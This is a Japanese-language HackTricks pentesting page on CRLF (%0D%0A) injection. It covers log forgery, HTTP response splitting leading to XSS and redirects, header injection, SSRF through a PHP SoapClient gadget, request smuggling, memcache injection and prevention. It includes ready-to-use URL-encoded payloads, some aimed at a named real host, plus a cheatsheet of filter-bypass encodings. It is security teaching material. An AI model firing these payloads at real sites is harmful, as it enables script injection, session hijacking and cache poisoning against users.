hacktricks/pentesting-web/crlf-0d-0a.md

# CRLF (%0D%0A) インジェクション

<details>

<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック！</strong></summary>

HackTricksをサポートする他の方法:

* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。

</details>

<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

**ハッキングのキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **採用中です！** (_流暢なポーランド語の読み書きが必要です_).

{% embed url="https://www.stmcyber.com/careers" %}

## CRLFとは何ですか？

ブラウザがウェブサーバーにリクエストを送ると、ウェブサーバーはHTTPレスポンスヘッダーと実際のウェブサイトコンテンツ、つまりレスポンスボディを含むレスポンスで返答します。HTTPヘッダーとHTMLレスポンス（ウェブサイトコンテンツ）は、特定の特殊文字の組み合わせ、すなわちキャリッジリターンとラインフィードによって分離されています。短くCRLFとも呼ばれます。

ウェブサーバーはCRLFを使用して、新しいHTTPヘッダーが始まり、別のものが終わるのを理解します。CRLFは、ファイルやテキストブロックで新しい行が始まることをウェブアプリケーションやユーザーに伝えることもできます。CRLF文字は標準的なHTTP/1.1メッセージなので、Apache、Microsoft IISを含むあらゆるタイプのウェブサーバーで使用されます。
出典 [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)

### CRLFインジェクション脆弱性とは何ですか？

CRLFインジェクション脆弱性攻撃では、攻撃者はキャリッジリターンとラインフィードの両方の文字をユーザー入力に挿入して、サーバー、ウェブアプリケーション、またはユーザーに対象が終了し、別のものが始まったと思わせます。そのため、CRLFシーケンスは悪意のある文字ではありませんが、悪意のある意図で使用されることがあり、HTTPレスポンス分割などに利用されます。

## ウェブアプリケーションにおけるCRLFインジェクション

ウェブアプリケーションでは、CRLFインジェクションは、アプリケーションが単一のアイテムをどのように扱うかによって、深刻な影響を及ぼす可能性があります。影響は情報漏洩からコード実行まで様々で、直接的なウェブアプリケーションセキュリティの脆弱性になります。実際、CRLFインジェクション攻撃は、OWASPトップ10リストには決して掲載されていないものの、ウェブアプリケーションに非常に深刻な影響を与える可能性があります。例えば、以下の例で説明されているように、管理パネルのログファイルを操作することも可能です。

#### ログファイルにおけるCRLFインジェクションの例

管理パネルのログファイルで、IP - Time - Visited Pathという出力ストリームパターンがあると想像してください。例えば以下のようなものです：
```
123.123.123.123 - 08:15 - /index.php?page=home
```
```markdown
攻撃者がHTTPリクエストにCRLF文字を注入できる場合、出力ストリームを変更し、ログエントリを偽造することができます。彼は、以下のようなウェブアプリケーションからのレスポンスを変更することができます：
```
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
```
%0dと%0aはCRとLFのURLエンコードされた形式です。したがって、攻撃者がこれらの文字を挿入し、アプリケーションがそれを表示すると、ログエントリは次のようになります：

IP - 時間 - 訪問パス
```
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意のある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者のパスワードを持っており、管理者のみが使用できるrestrictedactionパラメータを実行したシナリオを想像してください。

問題は、管理者が未知のIPがrestrictedactionパラメータを使用したことに気づいた場合、何かがおかしいと気づくでしょう。しかし、今ではコマンドがローカルホストによって発行されたように見える（したがって、サーバーにアクセスできる人、例えば管理者によって発行された可能性が高い）ので、疑わしくは見えません。

クエリの%0d%0aで始まる部分全体は、サーバーによって1つのパラメータとして処理されます。その後には、別の&があり、restricted actionパラメータがサーバーによって別のパラメータとして解析されます。実質的には、次のようなクエリと同じになります：
```
/index.php?page=home&restrictedaction=edit
```
### HTTPレスポンス分割

#### 説明

HTTPレスポンスのヘッダーとボディはCRLF文字によって区切られているため、攻撃者はこれらを注入しようとすることがあります。CRLFCRLFの組み合わせは、ブラウザにヘッダーの終わりとボディの開始を伝えます。つまり、攻撃者はHTMLコードが格納されているレスポンスボディ内にデータを書き込むことができます。これにより、クロスサイトスクリプティングの脆弱性が発生する可能性があります。

#### HTTPレスポンス分割がXSSにつながる例

例えば、カスタムヘッダーを設定するアプリケーションを想像してください。
```
X-Your-Name: Bob
```
```markdown
ヘッダーの値は "name" というGETパラメータを介して設定されます。URLエンコーディングが行われておらず、値がヘッダー内で直接反映される場合、攻撃者は上記のCRLFCRLFの組み合わせを挿入して、ブラウザにリクエストボディの開始を伝える可能性があります。その方法で、例えばXSSペイロードのようなデータを挿入することができます：
```
```
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
```
上記は、攻撃されたドメインのコンテキストでアラートウィンドウを表示します。

#### HTTPレスポンス分割によるリダイレクトの例

{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}

ブラウザへ：
```
/%0d%0aLocation:%20http://myweb.com
```
サーバーはヘッダーで応答します：
```
Location: http://myweb.com
```
**他の例：（** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/) **より）**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### URLパス内

サーバーからの**レスポンス**を制御するために、**URLパス内**にペイロードを送信できます：
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

### HTTPヘッダーインジェクション

#### 説明

CRLFインジェクションを悪用することで、攻撃者はHTTPヘッダーを挿入することができ、ブラウザのXSSフィルターや同一生成元ポリシーなどのセキュリティメカニズムを回避することが可能になります。これにより、攻撃者はCSRFトークンのような機密情報を得ることができます。また、攻撃者のアカウントで被害者をログインさせたり、そうでなければ悪用できないXSS脆弱性を悪用するためにクッキーを設定することもできます。

#### 機密データを抽出するためのHTTPヘッダーインジェクションの例

攻撃者がCORS（Cross Origin Resource Sharing）を有効にするHTTPヘッダーを注入できる場合、彼はJavaScriptを使用して、SOP（Same Origin Policy）によって保護されているリソースにアクセスすることができます。SOPは異なる生成元のサイトが互いにアクセスすることを防ぎます。

### SSRFにおける新しいHTTPリクエスト

CRLFインジェクションを悪用すると、**新しいHTTPリクエストを作成して注入する**ことができます。\
良い例は、PHP内の`SoapClient`デシリアライゼーションガジェットを使用することです。このクラスは`user_agent`パラメータ内の**CRLFに対して脆弱**であり、**新しいヘッダーやボディコンテンツを挿入する**ことが可能です。しかし、この脆弱性を悪用して**新しいHTTPリクエストを注入する**こともできます。
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### ヘッダーインジェクションによるリクエストスマグリング

初期リクエストに応答した後で、**バックエンドが接続を開いたままにする**ために、重要なヘッダーを注入できます：
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
次に、**2番目のリクエストを指定します**。ここでは、サーバーによって注入後に追加された**追加の** **ヘッダー/ボディ**を伴う**クラシックな** [**リクエストスマグリング**](http-request-smuggling/)があります。
これは、クロスユーザー攻撃のための多くのオプションのうちの2つです。

次のユーザーのリクエストまたはWebキャッシュを汚染するために**悪意のあるプレフィックス**を指定します：

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`

または、後続のジャンクと組み合わせて完全な2番目のリクエストを作成し、**レスポンスキュー汚染**をトリガーするために私たちのプレフィックスを作成します。

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`

この技術と潜在的な問題についての詳細は[**元のソースをチェックしてください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。

### Memcacheインジェクション

Memcacheは**クリアテキストプロトコルを使用するキーバリューストア**です。詳細は以下を参照してください：

{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}

プラットフォームが**HTTPリクエストからデータを取得し、それをサニタイズせずに** **memcache**サーバーへの**リクエスト**に使用している場合、攻撃者はこの振る舞いを悪用して**新しいmemcacheコマンドを注入**することができます。

例えば、元々発見された脆弱性では、キャッシュキーがユーザーが接続すべきIPとポートを返すために使用されており、攻撃者は**キャッシュを汚染して被害者の詳細**（ユーザー名とパスワードを含む）を攻撃者のサーバーに送信する**memcacheコマンドを注入**することができました：

<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>

さらに、研究者たちは、攻撃者が知らないメールアドレスのユーザーに攻撃者のIPとポートを送信するために、memcacheのレスポンスを非同期にすることも発見しました：

<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>

<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>

**完全な情報については**[**オリジナルのライトアップを読んでください**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*

## CRLFインジェクション脆弱性の影響

CRLFインジェクションの影響は様々であり、情報開示までのクロスサイトスクリプティングのすべての影響を含んでいます。また、被害者のブラウザでXSSフィルターや同一生成元ポリシーなどの特定のセキュリティ制限を無効にし、悪意のある攻撃に対して脆弱にすることもあります。

### WebアプリケーションでのCRLF / HTTPヘッダーインジェクションを防ぐ方法

最良の予防技術は、レスポンスヘッダー内で直接ユーザーの入力を使用しないことです。それが不可能な場合は、常にCRLF特殊文字をエンコードする関数を使用するべきです。もう一つの良いWebアプリケーションセキュリティのベストプラクティスは、HTTPヘッダーを設定する関数内でCRとLFが注入されないバージョンにプログラミング言語を更新することです。

### CHEATSHEET
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## 自動ツール

* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)

## Brute-Force 検出リスト

* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)

## 参考文献

* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)

<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

**ハッキングキャリア**に興味がある方、不可能とされるものをハックする - **採用情報！** (_流暢なポーランド語の読み書きが必要です_).

{% embed url="https://www.stmcyber.com/careers" %}

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong>!</summary>

HackTricksをサポートする他の方法:

* **HackTricksにあなたの会社を広告したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や [**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。

</details>